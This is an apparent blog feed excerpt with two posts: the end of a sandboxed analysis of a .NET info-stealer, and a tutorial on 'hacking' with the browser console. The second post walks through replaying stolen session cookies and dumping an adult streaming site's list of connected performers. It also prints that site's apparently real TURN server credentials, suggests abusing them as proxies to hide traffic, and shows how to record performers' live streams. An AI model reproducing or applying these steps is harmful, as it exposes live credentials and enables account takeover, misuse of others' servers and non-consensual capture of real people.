<li>Control Flow (push,call,jmp,etc) --&gt; used to direct the flow of the program -executing different blocks determined by a variable, calling functions, etc. {example of a push operation: push ecx};</li>
<li>Arithmetic/Logic (xor,and,mul,etc) --&gt; used to perform arithmetic, logical bitwise on registers and values. Also used to compare or test two different values. {example of a compare operation: cmp eax,0}. </li>
</ol>
</li>
</ol>
<p>Congratulations if you have come this far. I have tried to be as concise and schematic as possible, but bear in mind that assembly is an endless topic.
N.B Note that this is only a brief overview and I have omitted a lot of information (some of it very important to understand assembly in depth) such as the heap, segment registers, etc...you are welcome to delve deeper and write to me to discuss further.</p>
<p>Now to the fun part, shall we?</p>
<h2 id="heading-setting-up-a-safe-environment">Setting Up a Safe Environment</h2>
<p>First of all, we need a secure environment that does not affect our everyday devices and data. We will use virtual machines with FlareVM installed for simplicity. Then a whole series of tools for our analysis such as: Process Monitor, Process Hacker and especially dnSpy as debugger.</p>
<p>Since this is not a course or guide on how to secure yourself, I will not explain the process of setting up these tools. I recommend being very careful and documenting yourself before 'playing' with any malware. All your data is at risk, especially if you touch something you do not know well. The same goes for the analysed file, as it is a real malware, I will not provide information on how to obtain it. Google will be of help to you in case you want to investigate further.</p>
<h2 id="heading-the-robber-a-net-info-stealer">The robber: a .NET Info-Stealer</h2>
<p>To put your mind at ease, .NET easily decompiles (unless the code is encrypted but that is a more advanced topic) to source code so there will not be much assembly needed in this analysis. I know I initially said we would only rely on a static analysis but , let's carry out a small, superficial dynamic routine analysis to get the minimum information we need to proceed. <strong>BEWARE, IF YOU ARE REPLICATING THIS PROCEDURE AND YOU ARE NOT IN A PROTECTED ENVIRONMENT YOU ARE ABOUT TO INFECT YOUR PC</strong>.</p>
<h3 id="heading-basic-dynamic-analysis">Basic dynamic analysis</h3>
<p>Let's open Process Hacker and Process Monitor and detonate the malware. In Process Monitor, it is very useful to filter by "Process Name" of the file we are analysing: </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958534947/6GWn0j60a.png" alt="image" /></p>
<blockquote>
<p>If we run the file, we can see that the main interface of Process Monitor will be populated with several entries.</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958536371/tmaqw4di8.png" alt="image" /></p>
<p>And already here the amount of information that can be extracted becomes enormous... as you can see there are over 469,000 events within seconds of execution. We can filter the output by operations we find interesting. For example, we might want to see only ReadFile operations rather than Registry value queries. At this level, taking a look at the operations it performs (and with a lot of experience behind you) one can make assumptions (not certainties) about what the malware is doing. As for the sample under analysis, considering that it calls many keys from the registry and tries to read many passwords, one could conclude that it is a password stealer.
Now, if we move to Process Hacker and click on the process, we can open the thread and see if there are any relevant string in memory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958537415/vAcDO6HbQ.png" alt="image" /></p>
<blockquote>
<p>You can see here on Process Hacker some interesting info such as the hypervisor I was using, other processes in place that have been abused in the past [<a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-1268">CVE-2019-1268</a> doesn't ring a bell?], the Process IDs (PIDs) of the various processes.</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958538783/8AMnl1x2I.png" alt="image" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958540722/zp3Ek-Qit.png" alt="image" /></p>
<p>Analysing a little looks like is stealing informations from the Thunderbird client, Outlook, Google, Firefox local password files, etc.</p>
<p>As with the assembly section here we have just scratched the surface. Much more specific and in-depth analyses are possible. Finally, we come to the central section: the static analysis of malware. </p>
<h3 id="heading-malicious-source">Malicious source</h3>
<p>For this section we will use a decompiler, I chose <a target="_blank" href="https://github.com/dnSpy/dnSpy">dnSpy</a>. As always, the tool has its peculiarities, but what interests us is the process and the knowledge we gain from it. Once a certain level of experience is reached, the tool becomes interchangeable.
As soon as we load the file into dnSpy we can see that we are presented with a screen with some information about the sample. They concern the description of the file and the title given to it: these are obviously false, to mask what the malware is actually doing.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958541761/xqqDYQEge.png" alt="image" /></p>
<p>From here we have two options: open the drop-down menu on the left, or even better, click on the 'Main' in green marked as the entry point and end up at the point where the malware starts to run. We will take this second route. We can see that there are several interesting libraries in the file structure 'InternetDownloadManager', 'Encryption', etc. The main one is inside "GonnyCam".  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958543350/b2-Z77ita.png" alt="image" /></p>
<blockquote>
<p>The last highlighted library is obfuscated, it may therefore contain something sensitive, we will deal with it later.</p>
</blockquote>
<p>From what we see GonnyCam is creating several processes before running.The names of these processes are significant..like GetCurrentWindow. If we click on the name of the process, we can go and see what it does. Some of them are empty, probably created with undeveloped functions in mind, such as AddToStartup (for persistence purposes probably). 
An interesting process to analyse is <code>GonnyCam.RecordKeys</code>. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958545301/dFjQVlbNz.png" alt="image" /></p>
<p>We can see that keystrokes instead of a file are saved in memory, to be more stealthy. We then see that with <code>Send.SendLog</code> it is sending commands to a Command and Control server and by clicking on <code>P_Link</code> we can see the server to which they are sent, which in this case is hiding behind a fake help-desk.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958546755/jU8tF7ogS.png" alt="image" /></p>
<p>If we then enter SendLog, we can see that this malware is also slightly inteligent. It sends logs to the command server via post requests and in doing so compares the log values with a defined set. It then checks whether these are passwords, keystrokes, values taken from the clipboard, etc.
Depending on their type, the data are classified and saved differently.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958548324/imh5nM6ck.png" alt="image" />
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958549866/F5rejJ-wI.png" alt="image" /></p>
<p>There would be much more to see in each of the individual modules present, but let us move on <em>Óµ</em> the obfuscated one. Here we first need <a target="_blank" href="https://github.com/de4dot/de4dot">de4dot</a> a deobfuscator and unpacker for .NET to make the code readable. Simply feed de4dot the malware file and it will do the job by creating a new cleaned version that we then open once again with dnSpy. <em>Óµ</em> has now been renamed GClass0 </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958551014/IDWbZPco3.png" alt="image" />
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958552418/zIo9otl-f.png" alt="image" /></p>
<p>Here we can see what is called when the malware is executed, process ids, functions etc. It then creates some api's for <a target="_blank" href="https://keybase.io/">KeyBase</a> which is a messaging app. 
Finally, a part that I will not analyse because I am not an expert enough (I invite others to supplement this article) is the entire encryption and decryption mechanism present in this malware.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958553548/nF7mHdwNr.png" alt="image" /></p>
<h2 id="heading-references">References</h2>
<ul>
<li>https://www.kernelmode.info/forum/</li>
<li>https://lookbook.cyberjungles.com/random-research-area/malware-analysis-and-development/malware-development</li>
<li>https://www.crowdstrike.com/cybersecurity-101/malware/malware-analysis/</li>
</ul>
<h2 id="heading-author">Author</h2>
<ul>
<li>In THC Telegram group: @F_ederico1</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Hacking with the Browser's Web Console]]></title><description><![CDATA[TL;DR
I'll just talk about the cool things you can do with just the web console without the target having no knowledge about what you are doing or discovering and then you can later write everything that would allow you to exploit what you'd have dis...]]></description><link>https://iq.thc.org/web-console</link><guid isPermaLink="true">https://iq.thc.org/web-console</guid><category><![CDATA[hacking]]></category><category><![CDATA[web]]></category><category><![CDATA[console]]></category><dc:creator><![CDATA[Doctor Who]]></dc:creator><pubDate>Tue, 30 Aug 2022 01:52:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958617920/Nuww-DaZA.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-tldr">TL;DR</h2>
<p>I'll just talk about the cool things you can do with just the web console without the target having no knowledge about what you are doing or discovering and then you can later write everything that would allow you to exploit what you'd have discovered.</p>
<h2 id="heading-introduction">Introduction</h2>
<p>Hi, I'm Jiab77 and known as Doctor Who in the <a target="_blank" href="https://t.me/thcorg">THC Telegram Channel</a>.</p>
<h2 id="heading-da-web-console">Da web console</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958576123/gnSETESsh.png" alt="image" /></p>
<p>To open the console, simply hit the <code>[F12]</code> key. It should work on every platforms and every browsers. You can also use <code>[Ctrl + Shift + I]</code> to open the web console.</p>
<blockquote>
<p>Even if all modern browsers have a web console, it's implementation may vary. So depending on what you are using, you might see some differences.</p>
<p>In this article, I've used Chromium.</p>
</blockquote>
<h2 id="heading-best-tabs-to-know">Best tabs to know</h2>
<p>There are many tabs in the web console. The most useful ones for hacking are:</p>
<ul>
<li><strong>Elements</strong> - Shows the dynamic source code (includes the one generated by Javascript) and modify it locally</li>
<li><strong>Console</strong> - Allows you to access to all websites and applications code but also inject some</li>
<li><strong>Sources</strong> - Shows the source files of websites and applications</li>
<li><strong>Network</strong> - Shows all the requests made by the websites and applications</li>
<li><strong>Application</strong> - Shows all data stored by the websites and applications in the browser</li>
</ul>
<blockquote>
<p>Some names are different in Firefox:</p>
<ul>
<li><em>Elements</em> -&gt; <strong>Inspector</strong></li>
<li><em>Sources</em> -&gt; <strong>Debugger</strong></li>
<li><em>Application</em> -&gt; <strong>Storage</strong></li>
</ul>
</blockquote>
<h3 id="heading-elements">Elements</h3>
<p>One of the simplest thing that you can do with the <strong>Elements</strong> tab is to reveal the passwords hidden by the dots:</p>
<ul>
<li>Normal password display</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958577796/LTuov8kPG.png" alt="image" /></p>
<ul>
<li>Password revealed</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958578986/F2MvsSnz-.png" alt="image" /></p>
<p>But you can do many things as you can edit any elements loaded in your browser. In this case, I just changed the element type from <code>password</code> to <strong><code>text</code></strong>. The result is that the browser now shows the entered password in clear instead of <code>*******</code>!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958579885/s2hzgMAKi.png" alt="image" /></p>
<p>To revert it as password display, simply set the element type back to <code>password</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958580763/xKedkUd2U.png" alt="image" /></p>
<h3 id="heading-console">Console</h3>
<p>To use this one, you'll have to know about Javascript programming. Without it, you'd not be able to do anything in the console tab but if you know it, then you can find some nice things that developers stores in the global <code>window</code> context.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958581738/Gy66ImiId.png" alt="image" /></p>
<p>Simply type <code>window</code> then hit enter and expand the displayed object properties.</p>
<p>Here you can see few things that comes from the developer of the website I'm using for the screenshots, these are not part of the default <code>window</code> object content:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958582926/zy_wTegAQ.png" alt="image" /></p>
<p>In the picture you can see the <code>__meteor_runtime_config__</code> object that contains some interesting things, for example some details about the Sentry tool used to diagnose issues in the code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958584475/-CRmXrM2W.png" alt="image" /></p>
<p>So yeah nothing really juicy here but try it on different websites or applications that uses the browser, you'd be surprised. I could find some application secrets stored loosely in the global context (<em>the <code>window</code> object</em>).</p>
<p>I said earlier that can also inject some code directly in the website, I'll show you a basic example:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958585547/iXJuuKS4N.png" alt="image" /></p>
<p>And the code injected from the console tab:</p>
<pre><code class="lang-js"><span class="hljs-built_in">window</span>.alert(<span class="hljs-string">'THC is the best hacking group!!'</span>);
</code></pre>
<p>It's just a basic example but if the website or the application is not protected against code injection with a <code>CSP</code> (<em>Content Security Policy</em>), you can basically inject everything you want, modify any elements in the page and so on.</p>
<h4 id="heading-color-differences">Color differences</h4>
<p>Someone in the group asked me what was the differences between the two colors:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958586570/B5kuPggDR.png" alt="image" /></p>
<blockquote>
<p>Example from Chromium</p>
</blockquote>
<p>Long story short:</p>
<ul>
<li>Light blue ones - Those that you can modify / alter. (<em>dynamic</em>)</li>
<li>Darker blue ones - Those that you <strong>can't</strong> modify / alter. (<em>static</em>)</li>
</ul>
<p>In detail:</p>
<ul>
<li><p>Light blue ones:</p>
<p>Every global and third party code will appear that way:</p>
<pre><code class="lang-js"><span class="hljs-built_in">window</span>.thc = <span class="hljs-string">'best hacking group'</span>;
</code></pre>
<p>Will appear like that:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958588413/AT2iOI-u0.png" alt="image" /></p>
</li>
<li><p>Darker blue ones:</p>
<p>As said in the short answer, these are static objects, methods and properties that comes with your browser whatever it can be.</p>
<p>You can call them in your web projects but keep in mind that some of them are not standardized so if you're using them, your code will be specific for the targeted browser only.</p>
</li>
</ul>
<p>As I said in the beginning, the implementation may vary. For example, this is how Firefox is showing the difference:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958589617/qFtcjg29X.png" alt="image" /></p>
<p>You'll have expand <code>&lt;default properties&gt;</code> to see them.</p>
<h3 id="heading-sources">Sources</h3>
<p>This one might sounds not really interesting but again you might be surprised by what some developers can leave in clear in their source files so don't hesitate to waste some hours digging into them, you might find some golden nuggets.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958590667/MW7qk5lyH.png" alt="image" /></p>
<p>To make the code more readable, click on the <code>{}</code> button at the bottom to get this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958592356/2WcTV2_fZ.png" alt="image" /></p>
<p>So yeah, again nothing really juicy here, it's just an example. I'll try to show some stuffs later that might be more interesting, just keep reading ;)</p>
<h3 id="heading-network">Network</h3>
<p>This one is one of my favorite and I've discovered so many things with it just by observing and learning what data are exchanged on the websites and applications. This allowed me to discover and later exploit many weaknesses.</p>
<p>Here is a practical example from the website <a target="_blank" href="https://speedlight.io/my">speedlight.io</a>. They will give you a lifetime gold membership if you contact them with this code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958594073/XjwL2LpPj.png" alt="image" /></p>
<p>So here the secret code is: <code>IFOUNDSECRET</code> xD</p>
<blockquote>
<p>I know already that at least two persons already contacted them so it might left 8 places or less... (these two persons are me and a friend of mine)</p>
</blockquote>
<p>Summary:</p>
<ul>
<li>Access URL: <a target="_blank" href="https://speedlight.io/my">https://speedlight.io/my</a></li>
<li>URL that contains the secret code: <a target="_blank" href="https://widget.userpowered.io/init?uuid=[REDACTED]">https://widget.userpowered.io/init?uuid=[REDACTED]</a></li>
</ul>
<p>Honestly, this one was pretty easy to find but many ones will be in the <code>Fetch/XHR</code> sub tab and dynamic websites uses it a lot so finding good stuffs means analyzing a lot of requests... but you can find cool things when you get lucky. I'll show you later so keep reading ;)</p>
<h3 id="heading-application">Application</h3>
<p>This one is the one that will often contain the most sensible details about you that the website or application will store to recognize you during your future visits.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958595173/DypHPgxf0.png" alt="image" /></p>
<p>Everyone knows about cookies so I won't really go in details about them but more about the other storage types that you might not know about them:</p>
<ul>
<li><strong>Local Storage</strong> - Persistent storage limited to 5MB per domains or more depending on the victim browser (can be <a target="_blank" href="https://feross.org/fill-disk/">abused</a>)</li>
<li><strong>Session Storage</strong> - Volatile storage, it's content will disappear once you close the tab or the browser</li>
<li><strong>IndexedDB</strong> - Bigger persistent storage, it works just like a classical <code>SQL</code> database with some minor differences</li>
</ul>
<p>You might have noticed that I've changed the content of the stored data in the <strong>Local Storage</strong> section. You can basically modify every data stored in your browser, reload the page and see the result.</p>
<p>As I said, I won't go in details about <strong>cookies</strong> but the cookie stealing technique is basically just noting somewhere the cookie of someone else, get back to your home, go on the same website and change your cookie value by the one you've stolen and you will be logged as the person you've stolen the cookie.</p>
<p>In this case, <code>speedlight.io</code> are not using the <strong>cookies</strong> to store the session tokens but <strong>Local Storage</strong> instead.</p>
<h2 id="heading-concrete-use-and-discoveries">Concrete use and discoveries</h2>
<p>If you are still there, thanks a lot for your patience.</p>
<p>I'll now show you some concrete examples from some discoveries I've made on my side:</p>
<h3 id="heading-display-hidden-features-from-the-web-interface-of-my-router">Display hidden features from the web interface of my router</h3>
<p>Initially, I just wanted to access to my router logs because as every routers that runs on Linux, they must have logs, right?! But I searched everywhere inside that damn router and could not find anything regarding the logs and after some digging and analysis of the <code>JS</code> files of the interface, I found one that has some interesting constants:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958597009/NjAWJ-WC9.png" alt="image" /></p>
<pre><code class="lang-js"><span class="hljs-keyword">var</span> MENU_LVL=<span class="hljs-number">0</span>;
<span class="hljs-keyword">var</span> MENU_TITL=<span class="hljs-number">1</span>;
<span class="hljs-keyword">var</span> MENU_NAME=<span class="hljs-number">2</span>;
<span class="hljs-keyword">var</span> MENU_URL=<span class="hljs-number">3</span>;
<span class="hljs-keyword">var</span> MENU_ON=<span class="hljs-number">4</span>;
<span class="hljs-keyword">var</span> MENU_TARGET=<span class="hljs-number">5</span>;
<span class="hljs-keyword">var</span> MENU_GRP=<span class="hljs-number">6</span>;
<span class="hljs-keyword">var</span> MENU_ELM=<span class="hljs-number">7</span>;
<span class="hljs-keyword">var</span> MENU_USER=<span class="hljs-number">5</span>;
<span class="hljs-keyword">var</span> MENU_EXP=<span class="hljs-number">7</span>;
<span class="hljs-keyword">var</span> MENU_SUPER=<span class="hljs-number">10</span>;
</code></pre>
<p>Then I analysed the <code>HTML</code> source of the user mode selector and found something that could linked to these constants:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958597878/1t0n1W3FK.png" alt="image" /></p>
<p>The selector code is the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958599372/x3cTuBxL6.png" alt="image" /></p>
<p>So, what do we have here?</p>
<ul>
<li><p>Standard = <code>MENU_USER=5</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958600398/BEJ8_TlZG.png" alt="image" /></p>
</li>
<li><p>Expert = <code>MENU_EXP=7</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958601563/ymk0-Q8nH.png" alt="image" /></p>
<blockquote>
<p>Interesting, no? And what if I change the value of the radio input from <code>7</code> to <strong><code>10</code></strong> before clicking on it? Will it show something cool? Yeah, baby!</p>
</blockquote>
</li>
<li><p>Super User (hidden) = <code>MENU_SUPER=10</code> (<em>sounds logical, right?</em>)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958602782/PZlJl0QJU.png" alt="image" /></p>
<blockquote>
<p>Yesss, finally a <strong>Log</strong> tab!!</p>
</blockquote>
</li>
</ul>
<p>Let's see what we can find in this <strong>Log</strong> tab!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958603722/ghPYjOJ2b.png" alt="image" /></p>
<p>WTF?! Are you kidding me? :(</p>
<p>Let's have a look at the web console to see what we got:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958605030/4KenPAG3b.png" alt="image" /></p>
<p>Damn it...</p>
<blockquote>
<p>Long story short, I must configure my local network connection to be in the right <code>VLAN</code> to be able to display the hidden content... It sucks...</p>
</blockquote>
<h3 id="heading-hacking-web-radios">Hacking web radios</h3>
<p>What I'll show here is mostly valid for any web radios whatever they ask you to pay something each months to get it or not:</p>
<ul>
<li>Open up the web console</li>
<li>Go to the <strong>Network</strong> tab</li>
<li>Filter by <code>pls</code>, <code>hls</code>, <code>m3u</code></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958606064/UslPpb0Sv.png" alt="image" /></p>
<p>And enjoy the direct streaming URL that you can later play in <strong>VLC</strong> for example:</p>
<ul>
<li>URL: <a target="_blank" href="https://hydra.shoutca.st:2199/tunein/tunitup2020.pls">https://hydra.shoutca.st:2199/tunein/tunitup2020.pls</a></li>
<li>Example with <strong>VLC</strong>:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958607620/7lJpmNdaw.png" alt="image" /></p>
<ul>
<li>Example with <code>ffplay</code>:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958608776/rE9NNoD0L.png" alt="image" /></p>
<blockquote>
<p>The executed command was: <code>ffplay "http://148.251.43.149:8321/stream"</code></p>
<p>This address has been found in the logs from <strong>VLC</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958610013/pJ6zrEooh.png" alt="image" /></p>
</blockquote>
<p>Basically, most streaming servers based on <code>shoutcast</code> or <code>icecast</code> does not support the <code>HTTPS</code> protocol so they are using <code>HTTP</code> only most of the time...</p>
<h3 id="heading-steal-session-cookies">Steal session cookies</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958611175/PV1x8D2Hb.png" alt="image" /></p>
<p>If you can get your hands on the <code>session-token</code> (<em>or any similar names</em>) of someone else, just connect on the same website, replace the generated <code>session-token</code> by the one you could catch and reload the page, you'll be logged in.</p>
<p>Basically, if the user as not logged off, the <code>session-token</code> will be valid for a various range of days depending on the website until it gets revoked.</p>
<h3 id="heading-abusing-adult-streaming-websites">Abusing adult streaming websites</h3>
<p>This one will be probably the most interesting for you as they clearly don't give a fuck about security or they just don't know how to put it in place correctly or whatever but their weakness are quite obvious and <a target="_blank" href="https://github.com/DgSe95/porn-proxyfy">easy</a> to <a target="_blank" href="https://github.com/DgSe95/porn-dump-cli">exploit</a>.</p>
<blockquote>
<p>The following will be related to <em>stripchat</em> but it's also valid for every similar websites that use the <code>HLS</code> streaming format or have a <code>WebRTC</code> based service as both are often misconfigured.</p>
</blockquote>
<h4 id="heading-connected-models">Connected models</h4>
<ul>
<li>Open up the web console</li>
<li>Go to the <strong>Network</strong> tab</li>
<li>Select the <code>Fetch/XHR</code> sub tab</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958612423/D1w84K98P.png" alt="image" /></p>
<ul>
<li>Change the URL from:<ul>
<li><a target="_blank" href="https://stripchat.com/api/front/v2/models?limit=24&amp;topLimit=61&amp;favoritesLimit=24&amp;primaryTag=girls&amp;device=desktop&amp;uniq=ingyts30bj1qc6da">https://stripchat.com/api/front/v2/models?limit=24&amp;topLimit=61&amp;favoritesLimit=24&amp;primaryTag=girls&amp;device=desktop&amp;uniq=ingyts30bj1qc6da</a></li>
</ul>
</li>
<li>To:<ul>
<li><a target="_blank" href="https://stripchat.com/api/front/v2/models?limit=10000">https://stripchat.com/api/front/v2/models?limit=10000</a></li>
</ul>
</li>
</ul>
<p>Now enjoy, you have the details about all the connected models at that time ;)</p>
<h4 id="heading-webrtc-servers-credentials">WebRTC servers credentials</h4>
<p>If you take the URL from the previous section and do the following:</p>
<ul>
<li>From: <a target="_blank" href="https://stripchat.com/api/front/v2/models?limit=10000">https://stripchat.com/api/front/v2/models?limit=10000</a></li>
<li>To: <a target="_blank" href="https://stripchat.com/api/front/v2/config">https://stripchat.com/api/front/v2/config</a></li>
</ul>
<p>You'll get the complete website config in <code>JSON</code> and this include something juicy:</p>
<pre><code class="lang-json"><span class="hljs-string">"webRTCOriginTurnServersPortMap"</span>:{<span class="hljs-attr">"servers"</span>:[]},<span class="hljs-string">"webRTCTurnServersConfig"</span>:{<span class="hljs-attr">"servers"</span>:[<span class="hljs-string">"eu11"</span>,<span class="hljs-string">"eu14"</span>,<span class="hljs-string">"as1"</span>,<span class="hljs-string">"as2"</span>,<span class="hljs-string">"eu1"</span>,<span class="hljs-string">"eu2"</span>,<span class="hljs-string">"eu3"</span>,<span class="hljs-string">"eu4"</span>,<span class="hljs-string">"eu5"</span>,<span class="hljs-string">"eu6"</span>,<span class="hljs-string">"eu7"</span>,<span class="hljs-string">"eu8"</span>,<span class="hljs-string">"eu9"</span>,<span class="hljs-string">"eu10"</span>,<span class="hljs-string">"eu11"</span>,<span class="hljs-string">"eu12"</span>,<span class="hljs-string">"eu13"</span>,<span class="hljs-string">"eu14"</span>,<span class="hljs-string">"eu15"</span>,<span class="hljs-string">"eu16"</span>,<span class="hljs-string">"eu17"</span>,<span class="hljs-string">"eu18"</span>,<span class="hljs-string">"eu19"</span>,<span class="hljs-string">"eu20"</span>,<span class="hljs-string">"eu21"</span>,<span class="hljs-string">"eu22"</span>,<span class="hljs-string">"eu23"</span>,<span class="hljs-string">"eu24"</span>,<span class="hljs-string">"eu25"</span>,<span class="hljs-string">"eu26"</span>,<span class="hljs-string">"eu27"</span>,<span class="hljs-string">"eu28"</span>,<span class="hljs-string">"as1"</span>,<span class="hljs-string">"as2"</span>,<span class="hljs-string">"as3"</span>,<span class="hljs-string">"as4"</span>,<span class="hljs-string">"as5"</span>,<span class="hljs-string">"as6"</span>,<span class="hljs-string">"as7"</span>,<span class="hljs-string">"as8"</span>,<span class="hljs-string">"as9"</span>,<span class="hljs-string">"as10"</span>,<span class="hljs-string">"us1"</span>,<span class="hljs-string">"us2"</span>,<span class="hljs-string">"us3"</span>,<span class="hljs-string">"us4"</span>,<span class="hljs-string">"us5"</span>,<span class="hljs-string">"us6"</span>,<span class="hljs-string">"us7"</span>,<span class="hljs-string">"us8"</span>,<span class="hljs-string">"us9"</span>,<span class="hljs-string">"us10"</span>,<span class="hljs-string">"us11"</span>,<span class="hljs-string">"us12"</span>,<span class="hljs-string">"us13"</span>,<span class="hljs-string">"us14"</span>,<span class="hljs-string">"us15"</span>,<span class="hljs-string">"us16"</span>,<span class="hljs-string">"us17"</span>,<span class="hljs-string">"us18"</span>,<span class="hljs-string">"us19"</span>,<span class="hljs-string">"us20"</span>,<span class="hljs-string">"us21"</span>,<span class="hljs-string">"us22"</span>,<span class="hljs-string">"us23"</span>,<span class="hljs-string">"us24"</span>,<span class="hljs-string">"us25"</span>,<span class="hljs-string">"us26"</span>,<span class="hljs-string">"us27"</span>,<span class="hljs-string">"us28"</span>],<span class="hljs-attr">"iceServersTemplate"</span>:{<span class="hljs-attr">"iceServers"</span>:[{<span class="hljs-attr">"url"</span>:<span class="hljs-string">"turn:b-{server}.stripcdn.com:2083?transport=udp"</span>,<span class="hljs-attr">"username"</span>:<span class="hljs-string">"johndoe"</span>,<span class="hljs-attr">"credential"</span>:<span class="hljs-string">"j8Hkl0UYqwW4r"</span>},{<span class="hljs-attr">"url"</span>:<span class="hljs-string">"turn:b-{server}.stripcdn.com:2083?transport=tcp"</span>,<span class="hljs-attr">"username"</span>:<span class="hljs-string">"johndoe"</span>,<span class="hljs-attr">"credential"</span>:<span class="hljs-string">"j8Hkl0UYqwW4r"</span>}],<span class="hljs-attr">"iceTransportPolicy"</span>:<span class="hljs-string">"relay"</span>}}
</code></pre>
<p>More precisely:</p>
<pre><code class="lang-json"><span class="hljs-string">"username"</span>:<span class="hljs-string">"johndoe"</span>,<span class="hljs-string">"credential"</span>:<span class="hljs-string">"j8Hkl0UYqwW4r"</span>
</code></pre>
<p>So if you reconstruct the data from just the <code>WebRTC</code> servers part you get more than 40 servers with the same credentials applied to them:</p>
<ul>
<li>From:<ul>
<li><code>turn:b-{server}.stripcdn.com:2083?transport=udp</code></li>
<li><code>turn:b-{server}.stripcdn.com:2083?transport=tcp</code></li>
</ul>
</li>
<li>To:<ul>
<li><code>turn:b-eu11.stripcdn.com:2083?transport=udp</code></li>
<li><code>turn:b-eu11.stripcdn.com:2083?transport=tcp</code></li>
</ul>
</li>
</ul>
<p>And so on.</p>
<p>If you combine them with <a target="_blank" href="https://github.com/staaldraad/turner">turner</a>... It will gives you the same amount of web proxies that you can use to hide your trafic behind the stripchat servers.</p>
<h4 id="heading-live-streams-recording">Live streams recording</h4>
<ul>
<li>Click on any model stream</li>
<li>Disable the low latency mode (<em>click on the "lightening" icon to toggle it off</em>)</li>
<li>Open up the web console</li>
<li>Go to the <strong>Network</strong> tab</li>
<li>Filter with <code>m3u8</code></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958614948/gljwzftcO.png" alt="image" /></p>
<p>Here the interesting URL is:</p>
<ul>
<li><a target="_blank" href="https://b-hls-19.doppiocdn.com/hls/17085196/master/17085196_auto.m3u8">https://b-hls-19.doppiocdn.com/hls/17085196/master/17085196_auto.m3u8</a></li>
</ul>
<p>This is the direct stream URL of the model that you can play in <strong>VLC</strong> or <code>ffplay</code> but not just that, you can also record it and/or restream it with <code>ffmpeg</code>.</p>
<pre><code class="lang-console">$ ffplay -hide_banner "https://b-hls-19.doppiocdn.com/hls/17085196/master/17085196_auto.m3u8"
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-VERSION:6')B sq=    0B f=0/0   
[hls @ 0x7fb624000bc0] Opening 'https://b-hls-16.doppiocdn.com/hls/17085196/17085196_160p.m3u8' for reading
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-VERSION:6')B sq=    0B f=0/0   
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-INDEPENDENT-SEGMENTS')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-DISCONTINUITY-SEQUENCE:2')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:38.407+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:40.385+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:42.411+0000')
[https @ 0x7fb624015980] Opening 'https://b-hls-16.doppiocdn.com/hls/17085196/17085196_240p.m3u8' for reading
